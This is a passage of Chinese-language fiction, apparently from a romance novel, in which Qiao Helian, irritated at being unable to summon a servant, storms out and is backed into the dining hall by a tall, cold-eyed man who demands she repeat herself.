“行简，我不吃了，叫他们撤了吧。” 话音落了，没人反应，她心里也冒起些无名火。这行简也是耳朵不好使，不喊他的时候，一趟接一趟地进来，等到真出声叫他，他又听不见了。 乔鹤练从桌前腾地站起身，噔噔噔向厅外跑去，脚步跺出了不小的动静。 “我说我没胃口，把菜都撤了……” 将半卷的竹帘用力一掀，她正扬声呵令，可话刚出口，便被眼前始料未及的一幕惊没了声息。 且惊且惧，且讶且懵，强硬的威压迫着她，一步一步往厅内倒退。两手无助地拨开帘子，倒行着路过矮几和坐榻，直至退回膳桌旁边。 而来人紧随她步伐，微微颔首，俯视着她，以咫尺之距，寸步不离地堵在她身前。其身形高挑，峻拔如渊渟岳峙，眸色沉郁，幽冷若严冬夜海。 “你说什么？”他淡漠道，“大点声，再说一遍。”